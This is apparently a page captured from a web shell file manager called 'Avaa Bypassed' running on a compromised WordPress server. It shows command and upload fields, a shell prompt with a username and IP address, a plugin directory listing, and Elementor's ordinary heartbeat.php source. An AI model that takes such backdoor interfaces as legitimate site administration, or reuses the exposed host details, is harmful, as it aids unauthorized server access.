[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@18.223.205.73: ~ $
<?php
namespace Elementor;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor heartbeat.
 *
 * Elementor heartbeat handler class is responsible for initializing Elementor
 * heartbeat. The class communicates with WordPress Heartbeat API while working
 * with Elementor.
 *
 * @since 1.0.0
 */
class Heartbeat {

	/**
	 * Heartbeat received.
	 *
	 * Locks the Heartbeat response received when editing with Elementor.
	 *
	 * Fired by `heartbeat_received` filter.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param array $response The Heartbeat response.
	 * @param array $data     The `$_POST` data sent.
	 *
	 * @return array Heartbeat response received.
	 */
	public function heartbeat_received( $response, $data ) {
		if ( isset( $data['elementor_post_lock']['post_ID'] ) ) {
			$post_id = $data['elementor_post_lock']['post_ID'];
			$locked_user = Plugin::$instance->editor->get_locked_user( $post_id );

			if ( ! $locked_user || ! empty( $data['elementor_force_post_lock'] ) ) {
				Plugin::$instance->editor->lock_post( $post_id );
			} else {
				$response['locked_user'] = $locked_user->display_name;
			}

			/** @var Core\Common\Modules\Ajax\Module $ajax */
			$ajax = Plugin::$instance->common->get_component( 'ajax' );

			$response['elementorNonce'] = $ajax->create_nonce();
		}
		return $response;
	}

	/**
	 * Refresh nonces.
	 *
	 * Filter the nonces to send to the editor when editing with Elementor. Used
	 * to refresh the nonce when the nonce expires while editing. This way the
	 * user doesn't need to log-in again as Elementor fetches the new nonce from
	 * the server using ajax.
	 *
	 * Fired by `wp_refresh_nonces` filter.
	 *
	 * @since 1.8.0
	 * @access public
	 *
	 * @param array $response The no-priv Heartbeat response object or array.
	 * @param array $data     The `$_POST` data sent.
	 *
	 * @return array Refreshed nonces.
	 */
	public function refresh_nonces( $response, $data ) {
		if ( isset( $data['elementor_post_lock']['post_ID'] ) ) {
			/** @var Core\Common\Modules\Ajax\Module $ajax */
			$ajax = Plugin::$instance->common->get_component( 'ajax' );

			$response['elementor-refresh-nonces'] = [
				'elementorNonce' => $ajax->create_nonce(),
				'heartbeatNonce' => wp_create_nonce( 'heartbeat-nonce' ),
			];
		}

		return $response;
	}

	/**
	 * Heartbeat constructor.
	 *
	 * Initializing Elementor heartbeat.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function __construct() {
		add_filter( 'heartbeat_received', [ $this, 'heartbeat_received' ], 10, 2 );
		add_filter( 'wp_refresh_nonces', [ $this, 'refresh_nonces' ], 30, 2 );
	}
}

Filemanager

Name Type Size Permission Actions
admin-templates Folder 0755
base Folder 0755
container Folder 0755
controls Folder 0755
editor-templates Folder 0755
elements Folder 0755
interfaces Folder 0755
libraries Folder 0755
managers Folder 0755
settings Folder 0755
template-library Folder 0755
widgets Folder 0755
api.php File 7.29 KB 0644
autoloader.php File 9.4 KB 0644
beta-testers.php File 2.99 KB 0644
compatibility.php File 10.95 KB 0644
conditions.php File 2.7 KB 0644
db.php File 14.73 KB 0644
editor-assets-api.php File 1.76 KB 0644
embed.php File 8.44 KB 0644
fonts.php File 62.53 KB 0644
frontend.php File 39.17 KB 0644
heartbeat.php File 2.57 KB 0644
maintenance-mode.php File 11.13 KB 0644
maintenance.php File 2.79 KB 0644
plugin.php File 16.47 KB 0644
preview.php File 7.66 KB 0644
rollback.php File 3.63 KB 0644
shapes.php File 6.41 KB 0644
stylesheet.php File 8.91 KB 0644
tracker.php File 15.68 KB 0644
user.php File 9.88 KB 0644
utils.php File 22.99 KB 0644